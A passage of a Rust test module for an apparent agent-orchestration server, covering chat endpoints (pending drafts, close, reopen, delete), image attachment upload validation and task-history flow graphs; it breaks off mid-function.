10218 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10219 .expect("persist pending draft without a live turn");
10220
10221 let refused = f
10222 .post(
10223 &format!("/api/talks/{id}/say"),
10224 Some(r#"{"text":"new message"}"#),
10225 )
10226 .await;
10227 assert_eq!(refused.status, 409, "{}", refused.body);
10228 assert!(refused.body.contains("resume"), "{}", refused.body);
10229 let saved = store.get(&id).expect("draft remains after refusal");
10230 assert!(saved.turns.is_empty());
10231 assert_eq!(saved.pending, "saved before restart");
10232
10233 let say_path = format!("/api/talks/{id}/say");
10234 let (first, second) = tokio::join!(
10235 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
10236 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
10237 );
10238 assert_eq!(first.status, 409, "{}", first.body);
10239 assert_eq!(second.status, 409, "{}", second.body);
10240 let saved = store
10241 .get(&id)
10242 .expect("draft remains after concurrent refusals");
10243 assert!(saved.turns.is_empty());
10244 assert_eq!(saved.pending, "saved before restart");
10245
10246 let resumed = f
10247 .post(&format!("/api/talks/{id}/pending/resume"), None)
10248 .await;
10249 assert_eq!(resumed.status, 202, "{}", resumed.body);
10250 let duplicate = f
10251 .post(&format!("/api/talks/{id}/pending/resume"), None)
10252 .await;
10253 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
10254
10255 for _ in 0..SETTLE_STEPS {
10256 if store.get(&id).expect("talk").turns.len() == 2 {
10257 break;
10258 }
10259 tokio::time::sleep(Duration::from_millis(10)).await;
10260 }
10261 let finished = store.get(&id).expect("finished talk");
10262 assert_eq!(finished.turns.len(), 2, "{finished:?}");
10263 assert_eq!(finished.turns[0].body, "saved before restart");
10264 assert!(finished.pending.is_empty());
10265 }
10266
10267 #[tokio::test]
10268 async fn an_image_only_recovered_draft_resumes_without_text() {
10269 let (_tmp, _repo, f) = talk_fixture().await;
10270 let id = f.post("/api/talks", None).await.json()["id"]
10271 .as_str()
10272 .expect("id")
10273 .to_owned();
10274 let uploaded = f
10275 .post_bytes(
10276 &format!("/api/talks/{id}/attachments"),
10277 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
10278 PNG_BYTES,
10279 )
10280 .await;
10281 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10282 let attachment = f
10283 .talks()
10284 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
10285 .expect("attachment metadata")
10286 .expect("stored attachment");
10287 let store = f.talks();
10288 let mut recovered = store.get(&id).expect("opened talk");
10289 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
10290
10291 let resumed = f
10292 .post(&format!("/api/talks/{id}/pending/resume"), None)
10293 .await;
10294 assert_eq!(resumed.status, 202, "{}", resumed.body);
10295 for _ in 0..SETTLE_STEPS {
10296 if store.get(&id).expect("talk").turns.len() == 2 {
10297 break;
10298 }
10299 tokio::time::sleep(Duration::from_millis(10)).await;
10300 }
10301 let finished = store.get(&id).expect("finished talk");
10302 assert_eq!(finished.turns.len(), 2, "{finished:?}");
10303 assert!(finished.turns[0].body.is_empty());
10304 assert_eq!(finished.turns[0].attachments.len(), 1);
10305 assert!(finished.pending_attachments.is_empty());
10306 }
10307
10308 #[tokio::test]
10309 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
10310 let (_tmp, _repo, f) = talk_fixture().await;
10311 let id = f.post("/api/talks", None).await.json()["id"]
10312 .as_str()
10313 .expect("id")
10314 .to_owned();
10315 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10316 assert_eq!(closed.status, 200, "{}", closed.body);
10317 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
10318 .expect("serialize closed talk");
10319 for (path, body) in [
10320 (format!("/api/talks/{id}/pending/resume"), None),
10321 (
10322 format!("/api/talks/{id}/pending/clear"),
10323 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
10324 ),
10325 (
10326 format!("/api/talks/{id}/pending/edit"),
10327 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
10328 ),
10329 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
10330 ] {
10331 let response = f.post(&path, body).await;
10332 assert_eq!(response.status, 409, "{}", response.body);
10333 }
10334 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
10335 .expect("serialize closed talk");
10336 assert_eq!(
10337 after_clear, before_clear,
10338 "clear must not rewrite a closed talk"
10339 );
10340 }
10341
10342 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
10345
10346 #[tokio::test]
10347 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
10348 let tmp = TempDir::new().expect("tempdir");
10349 let repo = tmp.path().join("repo");
10350 std::fs::create_dir_all(&repo).expect("repo dir");
10351 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10352 let f = Fixture::with_repo(repo).await;
10353 let id_a = f.post("/api/talks", None).await.json()["id"]
10354 .as_str()
10355 .unwrap()
10356 .to_owned();
10357 let id_b = f.post("/api/talks", None).await.json()["id"]
10358 .as_str()
10359 .unwrap()
10360 .to_owned();
10361
10362 let a = f
10363 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
10364 .await;
10365 assert_eq!(a.status, 202, "{}", a.body);
10366 assert_eq!(a.json()["thinking"], true);
10367 let b = f
10368 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
10369 .await;
10370 assert_eq!(b.status, 202, "{}", b.body);
10371 assert_eq!(b.json()["thinking"], true);
10372
10373 let listed = f.get("/api/talks").await.json();
10374 for id in [&id_a, &id_b] {
10375 let view = listed
10376 .as_array()
10377 .unwrap()
10378 .iter()
10379 .find(|talk| talk["id"] == *id)
10380 .unwrap();
10381 assert_eq!(view["thinking"], true, "{listed}");
10382 }
10383 let repeated = f
10384 .post(
10385 &format!("/api/talks/{id_a}/say"),
10386 Some(r#"{"text":"again"}"#),
10387 )
10388 .await;
10389 assert_eq!(repeated.status, 202, "{}", repeated.body);
10390 assert_eq!(repeated.json()["pending"], "again");
10391 }
10392
10393 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
10396
10397 #[tokio::test]
10398 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
10399 let f = Fixture::start().await;
10400 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
10401
10402 let res = f
10403 .post_bytes(
10404 &format!("/api/talks/{id}/attachments"),
10405 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10406 PNG_BYTES,
10407 )
10408 .await;
10409 assert_eq!(res.status, 201, "{}", res.body);
10410 let body = res.json();
10411 assert_eq!(body["name"], "shot.png");
10412 assert_eq!(body["mime"], "image/png");
10413 assert_eq!(body["bytes"], PNG_BYTES.len());
10414 let att_id = body["id"].as_str().expect("id").to_owned();
10415 assert_eq!(
10416 att_id.len(),
10417 32,
10418 "the id must never be a client-suppliable path: {att_id}"
10419 );
10420
10421 let got = f
10422 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
10423 .await;
10424 assert_eq!(got.status, 200, "{}", got.body);
10425 assert_eq!(got.header("content-type"), Some("image/png"));
10426 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
10427 assert_eq!(got.bytes, PNG_BYTES);
10428 }
10429
10430 #[tokio::test]
10431 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
10432 let f = Fixture::start().await;
10433 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
10434
10435 let svg = f
10438 .post_bytes(
10439 &format!("/api/talks/{id}/attachments"),
10440 &[("Content-Type", "image/svg+xml")],
10441 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
10442 )
10443 .await;
10444 assert!(
10445 (400..500).contains(&svg.status),
10446 "svg must be refused: {} {}",
10447 svg.status,
10448 svg.body
10449 );
10450 assert!(svg.body.contains("SVG"), "{}", svg.body);
10451
10452 let text = f
10453 .post_bytes(
10454 &format!("/api/talks/{id}/attachments"),
10455 &[("Content-Type", "text/plain")],
10456 b"just some text",
10457 )
10458 .await;
10459 assert!(
10460 (400..500).contains(&text.status),
10461 "an unlisted type must be refused: {} {}",
10462 text.status,
10463 text.body
10464 );
10465
10466 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
10469 let big = f
10470 .post_bytes(
10471 &format!("/api/talks/{id}/attachments"),
10472 &[("Content-Type", "image/png")],
10473 &oversized,
10474 )
10475 .await;
10476 assert_eq!(
10477 big.status,
10478 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
10479 "{}",
10480 big.body
10481 );
10482 }
10483
10484 #[tokio::test]
10485 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
10486 let f = Fixture::start().await;
10487 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
10488
10489 let res = f
10492 .post_bytes(
10493 &format!("/api/talks/{id}/attachments"),
10494 &[("Content-Type", "image/png")],
10495 b"<html>not a picture</html>",
10496 )
10497 .await;
10498 assert!((400..500).contains(&res.status), "{}", res.body);
10499 }
10500
10501 #[tokio::test]
10502 async fn an_unknown_attachment_id_is_a_404() {
10503 let f = Fixture::start().await;
10504 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
10505
10506 let res = f
10507 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
10508 .await;
10509 assert_eq!(res.status, 404, "{}", res.body);
10510 }
10511
10512 #[tokio::test]
10513 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
10514 let f = Fixture::start().await;
10515 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
10516
10517 let uploaded = f
10518 .post_bytes(
10519 &format!("/api/talks/{id}/attachments"),
10520 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10521 PNG_BYTES,
10522 )
10523 .await;
10524 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10525 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
10526
10527 let res = f
10528 .post(
10529 &format!("/api/talks/{id}/say"),
10530 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
10531 )
10532 .await;
10533 assert_eq!(res.status, 202, "{}", res.body);
10534 let queued = res.json();
10535 let turns = queued["turns"].as_array().expect("turns array");
10536 assert_eq!(
10537 turns.len(),
10538 1,
10539 "an empty body with an attachment is still a turn: {queued}"
10540 );
10541 assert_eq!(turns[0]["who"], "operator");
10542 assert_eq!(turns[0]["body"], "");
10543 let atts = turns[0]["attachments"]
10544 .as_array()
10545 .expect("attachments array");
10546 assert_eq!(atts.len(), 1);
10547 assert_eq!(atts[0]["id"], att_id);
10548 assert_eq!(atts[0]["mime"], "image/png");
10549
10550 let on_disk = f.talks().get(&id).expect("get");
10553 assert_eq!(on_disk.turns[0].attachments.len(), 1);
10554 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
10555 }
10556
10557 #[tokio::test]
10558 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
10559 let f = Fixture::start().await;
10560 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
10561
10562 let res = f
10563 .post(
10564 &format!("/api/talks/{id}/say"),
10565 Some(&format!(
10566 r#"{{"text":"hi","attachments":["{}"]}}"#,
10567 "a".repeat(32)
10568 )),
10569 )
10570 .await;
10571 assert!((400..500).contains(&res.status), "{}", res.body);
10572 assert!(res.body.contains("unknown attachment"), "{}", res.body);
10573
10574 let on_disk = f.talks().get(&id).expect("get");
10575 assert!(
10576 on_disk.turns.is_empty(),
10577 "a rejected attachment id must not partially record the turn: {:?}",
10578 on_disk.turns
10579 );
10580 }
10581
10582 #[tokio::test]
10583 async fn talk_close_makes_the_talk_refuse_further_turns() {
10584 let f = Fixture::start().await;
10585 let id = seed_talk(&f, "20260904-014455-cd34", "open");
10586
10587 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10588 assert_eq!(closed.status, 200, "{}", closed.body);
10589 assert_eq!(closed.json()["status"], "closed");
10590
10591 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
10593 assert_eq!(closed_again.status, 200);
10594 assert_eq!(closed_again.json()["status"], "closed");
10595
10596 let said = f
10597 .post(
10598 &format!("/api/talks/{id}/say"),
10599 Some(r#"{"text":"too late"}"#),
10600 )
10601 .await;
10602 assert_eq!(said.status, 409, "{}", said.body);
10603 }
10604
10605 #[tokio::test]
10606 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10607 let (_tmp, _repo, f) = talk_fixture().await;
10608 let id = f.post("/api/talks", None).await.json()["id"]
10609 .as_str()
10610 .expect("id")
10611 .to_owned();
10612 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10613 assert_eq!(closed.status, 200, "{}", closed.body);
10614
10615 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10616 assert_eq!(reopened.status, 200, "{}", reopened.body);
10617 assert_eq!(reopened.json()["status"], "open");
10618
10619 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10621 assert_eq!(reopened_again.status, 200);
10622 assert_eq!(reopened_again.json()["status"], "open");
10623
10624 let said = f
10625 .post(
10626 &format!("/api/talks/{id}/say"),
10627 Some(r#"{"text":"still there?"}"#),
10628 )
10629 .await;
10630 assert_eq!(
10631 said.status, 202,
10632 "a reopened talk accepts turns again: {}",
10633 said.body
10634 );
10635 }
10636
10637 #[tokio::test]
10638 async fn talk_reopen_on_an_unknown_id_is_404() {
10639 let f = Fixture::start().await;
10640 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10641 assert_eq!(res.status, 404, "{}", res.body);
10642 }
10643
10644 #[tokio::test]
10645 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10646 let f = Fixture::start().await;
10647 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10648
10649 let deleted = f.delete(&format!("/api/talks/{id}")).await;
10650 assert_eq!(deleted.status, 204, "{}", deleted.body);
10651
10652 let after = f.get(&format!("/api/talks/{id}")).await;
10653 assert_eq!(after.status, 404, "{}", after.body);
10654
10655 let listed = f.get("/api/talks").await.json();
10656 assert!(
10657 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10658 "a deleted talk must not linger in the list: {listed}"
10659 );
10660 }
10661
10662 #[tokio::test]
10663 async fn talk_delete_on_an_unknown_id_is_404() {
10664 let f = Fixture::start().await;
10665 let res = f.delete("/api/talks/nonexistent-id").await;
10666 assert_eq!(res.status, 404, "{}", res.body);
10667 }
10668
10669 #[tokio::test]
10673 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10674 let f = Fixture::start().await;
10675 let (a, b, gone) = (
10676 "20260902-140501-aaaa",
10677 "20260902-140502-bbbb",
10678 "20260902-140503-cccc",
10679 );
10680 write_run(&f.runs(), a, RunStatus::Stalled);
10681 let mut review = RunState::new(
10682 PathBuf::from("/repo/magi"),
10683 "main".to_owned(),
10684 "0123456789abcdef".to_owned(),
10685 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10686 .to_owned(),
10687 Config::default(),
10688 );
10689 review.id = b.to_owned();
10690 review.status = RunStatus::Merged;
10691 write_state(&f.runs(), &review);
10692
10693 let mut task = Task::new(
10694 "retry".to_owned(),
10695 "Do the thing".to_owned(),
10696 PathBuf::from("/repo/magi"),
10697 Source::Human,
10698 );
10699 task.start(a.to_owned());
10700 task.stall("quota");
10701 task.start(a.to_owned());
10702 task.start(b.to_owned());
10703 task.start(gone.to_owned());
10704 f.queue().put(&mut task).expect("file the task");
10705
10706 let res = f.get(&format!("/api/queue/{}", task.id)).await;
10707 assert_eq!(res.status, 200, "{}", res.body);
10708 let v = res.json();
10709 let h = v["history"].as_array().expect("history");
10710 assert_eq!(h.len(), 4, "{v}");
10711 assert_eq!(h[0]["kind"], "competition");
10712 assert_eq!(h[0]["status"], "stalled");
10713 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10714 assert_eq!(h[1]["kind"], "resume", "{v}");
10715 assert!(
10716 h[0]["outcome"]
10717 .as_str()
10718 .unwrap()
10719 .contains("unknown. Pass #2"),
10720 "an earlier pass of a resumed run must not claim the final outcome: {v}"
10721 );
10722 assert!(
10723 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10724 "{v}"
10725 );
10726 assert!(
10727 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10728 "an unrecorded cause must not be narrated as an operator park: {v}"
10729 );
10730 assert_eq!(h[2]["kind"], "review");
10731 assert!(
10732 h[2]["description"]
10733 .as_str()
10734 .unwrap()
10735 .contains("magi/aaaa/A")
10736 );
10737 assert_eq!(h[2]["status"], "merged");
10738 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10739 assert_eq!(v["runs_unreadable"], 1);
10740 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10741 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10742 assert_eq!(nodes[4]["note"], "unreadable");
10743 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10744 assert_eq!(v["instruction"], "Do the thing");
10745 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10746
10747 let run = f.get(&format!("/api/runs/{a}")).await.json();
10749 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10750
10751 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10752 }
10753
10754 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10755 let mut s = RunState::new(
10756 PathBuf::from("/repo/magi"),
10757 "main".to_owned(),
10758 "0123456789abcdef".to_owned(),
10759 "Do it".to_owned(),
10760 Config::default(),
10761 );
10762 s.status = status;
10763 edit(&mut s);
10764 s
10765 }
10766
10767 fn flow_task(runs: &[&str]) -> Task {
10768 let mut t = Task::new(
10769 "t".to_owned(),
10770 "Do it".to_owned(),
10771 PathBuf::from("/repo/magi"),
10772 Source::Human,
10773 );
10774 for r in runs {
10775 t.start((*r).to_owned());
10776 }
10777 t
10778 }
10779
10780 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10781 let h = task_history(task, |id| {
10782 states
10783 .iter()
10784 .find(|(i, _)| *i == id)
10785 .and_then(|(_, s)| s.clone())
10786 });
10787 task_flow(task, &h, 5, None)
10788 }
10789
10790 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
10791 crate::queue::FollowUp {
10792 run: "20260901-000000-aaaa".to_owned(),
10793 origin_task: origin_task.map(str::to_owned),
10794 pr: "https://example.com/o/r/pull/1".to_owned(),
10795 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
10796 .map(str::to_owned)
10797 .to_vec(),
10798 generation: 1,
10799 }
10800 }
10801
10802 fn parent_task() -> Task {
10803 let mut p = flow_task(&[]);
10804 p.title = "Parent title".to_owned();
10805 p.status = TaskStatus::Done;
10806 p
10807 }
10808
10809 #[test]
10810 fn flow_opens_with_the_parent_task_of_a_followup() {
10811 let p = parent_task();
10812 let pid = p.id.clone();
10813 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
10814 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10815 let n = &f.nodes[0];
10816 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
10817 assert_eq!(
10818 n.label,
10819 format!("Follow-up of {}", crate::queue::short(&pid))
10820 );
10821 assert_eq!(n.detail.as_deref(), Some("Parent title"));
10822 assert_eq!(n.status, Some("done"));
10823 assert_eq!(n.status_of, "task");
10824 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
10825 assert_eq!(f.nodes[1].key, "start");
10826 assert_eq!(f.edges[0].from, "origin");
10827 assert_eq!(
10828 f.edges[0].label,
10829 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
10830 );
10831 }
10832
10833 #[test]
10834 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
10835 let o = followup_origin(
10836 &fu(Some("gone")),
10837 |_| None,
10838 |_| {
10839 Some(RunState::new(
10840 std::path::PathBuf::from("."),
10841 "main".to_owned(),
10842 "0".to_owned(),
10843 "t".to_owned(),
10844 crate::config::Config::default(),
10845 ))
10846 },
10847 );
10848 assert!(o.parent.is_none());
10849 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10850 let n = &f.nodes[0];
10851 assert_eq!(n.status_of, "run");
10852 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
10853 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
10854 }
10855
10856 #[test]
10857 fn flow_followup_with_nothing_readable_has_no_link() {
10858 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
10859 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10860 let n = &f.nodes[0];
10861 assert_eq!(n.href, None);
10862 assert_eq!(n.note, Some("unreadable"));
10863 assert!(!n.readable);
10864 }
10865
10866 #[test]
10867 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
10868 let o = followup_origin(&fu(None), |_| None, |_| None);
10869 let mut t = flow_task(&[]);
10870 t.origin_chat = Some("c1".to_owned());
10871 let f = task_flow(&t, &[], 5, Some(&o));
10872 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
10873 t.source = Source::Agent {
10874 run: "c1".to_owned(),
10875 node: crate::queue::CHAT_NODE.to_owned(),
10876 };
10877 let f = task_flow(&t, &[], 5, Some(&o));
10878 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
10879 assert_eq!(
10880 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
10881 ("chat", "origin")
10882 );
10883 }
10884
10885 #[test]
10886 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
10887 let mut p = parent_task();
10888 p.id = "a b/c".to_owned();
10889 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
10890 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
10891 }
10892
10893 #[test]
10894 fn flow_opens_with_the_chat_that_queued_the_task() {
10895 let mut t = flow_task(&[]);
10896 t.source = Source::Agent {
10897 run: "a b/c".to_owned(),
10898 node: crate::queue::CHAT_NODE.to_owned(),
10899 };
10900 let f = flow_for(&t, &[]);
10901 assert_eq!(f.nodes[0].key, "chat");
10902 assert_eq!(f.nodes[0].kind, "chat");
10903 assert_eq!(
10904 f.nodes[0].label,
10905 format!("Chat {}", crate::queue::short("a b/c"))
10906 );
10907 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10908 assert_eq!(f.nodes[1].key, "start");
10909 assert_eq!(
10910 f.edges[0],
10911 FlowEdge {
10912 from: "chat".to_owned(),
10913 to: "start".to_owned(),
10914 label: "queued from chat".to_owned(),
10915 attempt: AttemptCost::None,
10916 }
10917 );
10918 }
10919
10920 #[test]
10921 fn flow_has_no_chat_box_for_other_sources() {
10922 for source in [
10923 Source::Human,
10924 Source::Issue {
10925 number: 3,
10926 repo: "o/r".to_owned(),
10927 },
10928 Source::Agent {
10929 run: "20260904-014455-ab12".to_owned(),
10930 node: "implement".to_owned(),
10931 },
10932 ] {
10933 let mut t = flow_task(&[]);
10934 t.source = source;
10935 let f = flow_for(&t, &[]);
10936 assert_eq!(f.nodes[0].key, "start");
10937 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10938 assert!(f.edges.iter().all(|e| e.from != "chat"));
10939 }
10940 }
10941
10942 const FA: &str = "20260902-140501-aaaa";
10943 const FB: &str = "20260902-140502-bbbb";
10944
10945 #[test]
10946 fn flow_follows_blocked_retry_merged_to_done() {
10947 let mut t = flow_task(&[FA, FB]);
10948 t.status = TaskStatus::Done;
10949 let f = flow_for(
10950 &t,
10951 &[
10952 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10953 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10954 ],
10955 );
10956 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10957 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10958 assert_eq!(f.edges.len(), 3);
10959 assert_eq!(f.edges[0].label, "claimed");
10960 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10961 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10962 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10963 assert_eq!(
10964 f.nodes[2].href.as_deref(),
10965 Some("#/runs/20260902-140502-bbbb")
10966 );
10967 assert!(f.nodes[2].decided);
10968 }
10969
10970 #[test]
10971 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10972 let quota = || {
10973 flow_run(RunStatus::Stalled, |s| {
10974 s.quota.push(crate::run::QuotaLoss {
10975 seat: "judge-1".to_owned(),
10976 node: "judge".to_owned(),
10977 at: Timestamp::now(),
10978 reset: None,
10979 })
10980 })
10981 };
10982 let mut t = flow_task(&[FA, FA]);
10983 t.status = TaskStatus::Queued;
10984 let f = flow_for(&t, &[(FA, Some(quota()))]);
10985 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10986 assert_eq!(f.nodes[1].note, Some("interrupted"));
10987 assert_eq!(
10988 f.nodes[1].status, None,
10989 "no outcome copied onto an earlier pass"
10990 );
10991 assert_eq!(
10992 f.edges[1].attempt,
10993 AttemptCost::Unknown,
10994 "a resume does not prove the earlier pass was refunded"
10995 );
10996 assert!(f.edges[1].label.contains("resume the same run"));
10997 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10998 assert_eq!(
10999 f.edges[2].label,
11000 "stalled after a resume, refund unknown \u{2192} queued"
11001 );
11002 assert!(!f.nodes[2].decided, "a stall is not a decision");
11003 assert_eq!(f.nodes[2].note, Some("no verdict"));
11004 }
11005
11006 #[test]
11007 fn flow_single_pass_quota_stall_is_refunded() {
11008 let t = flow_task(&[FA]);
11009 let f = flow_for(
11010 &t,
11011 &[(
11012 FA,
11013 Some(flow_run(RunStatus::Stalled, |s| {
11014 s.quota.push(crate::run::QuotaLoss {
11015 seat: "judge-1".to_owned(),
11016 node: "judge".to_owned(),
11017 at: Timestamp::now(),
11018 reset: None,
11019 })
11020 })),
11021 )],
11022 );
11023 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11024 }
11025
11026 #[test]
11027 fn flow_parked_refunds_and_stall_without_quota_spends() {
11028 let mut t = flow_task(&[FA]);
11029 t.status = TaskStatus::Queued;
11030 let f = flow_for(
11031 &t,
11032 &[(
11033 FA,
11034 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
11035 )],
11036 );
11037 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
11038 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11039 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
11040 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11041 assert!(!f.nodes[1].decided);
11042 }
11043
11044 #[test]
11045 fn flow_keeps_an_unreadable_run_as_its_own_node() {
11046 let t = flow_task(&[FA, FB]);
11047 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
11048 assert_eq!(f.nodes[1].note, Some("unreadable"));
11049 assert!(!f.nodes[1].readable);
11050 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
11051 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
11052 }
11053
11054 #[test]
11055 fn flow_names_the_branch_of_a_review_only_run() {
11056 let t = flow_task(&[FA]);
11057 let f = flow_for(
11058 &t,
11059 &[(
11060 FA,
11061 Some(flow_run(RunStatus::Merged, |s| {
11062 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
11063 })),
11064 )],
11065 );
11066 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
11067 assert_eq!(
11068 f.nodes[1].detail.as_deref(),
11069 Some("review-only run of branch magi/x/A")
11070 );
11071 }
11072
11073 #[test]
11074 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
11075 let mut t = flow_task(&[FA]);
11076 t.status = TaskStatus::Held;
11077 let pr = crate::run::PrRecord {
11078 url: "https://example.test/pr/1".to_owned(),
11079 number: 1,
11080 state: "open".to_owned(),
11081 checks: "green".to_owned(),
11082 round: 0,
11083 rounds: 3,
11084 red_at_merge: Vec::new(),
11085 };
11086 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
11087 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
11088 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
11089 t.status = TaskStatus::Done;
11090 let f = flow_for(&t, &[(FA, Some(blocked))]);
11091 assert_eq!(f.edges[1].label, "closed by hand: task is done");
11092 }
11093
11094 #[test]
11095 fn flow_with_no_runs_goes_from_queued_to_queued() {
11096 let t = flow_task(&[]);
11097 let f = flow_for(&t, &[]);
11098 assert_eq!(f.nodes.len(), 2);
11099 assert_eq!(f.edges.len(), 1);
11100 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
11101 assert_eq!(f.edges[0].attempt, AttemptCost::None);
11102 }
11103
11104 #[test]
11107 fn a_parked_non_terminal_run_is_explained_as_parked() {
11108 let mut s = RunState::new(
11109 PathBuf::from("/repo/magi"),
11110 "main".to_owned(),
11111 "0123456789abcdef".to_owned(),
11112 "Do it".to_owned(),
11113 Config::default(),
11114 );
11115 s.status = RunStatus::Implementing;
11116 s.parked = true;
11117 let task = Task::new(
11118 "t".to_owned(),
